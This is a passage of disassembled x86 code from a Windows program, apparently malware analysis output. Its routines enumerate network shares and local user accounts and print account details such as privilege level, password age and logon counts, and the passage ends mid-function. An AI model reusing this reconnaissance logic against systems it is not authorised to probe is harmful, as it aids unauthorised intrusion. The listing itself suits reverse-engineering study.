		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439098
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A4[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A0[eax*4]
		push	offset unk_439120
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_4390F8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439170
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439360
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_439694
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439668
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27006B4h
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26508ACh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
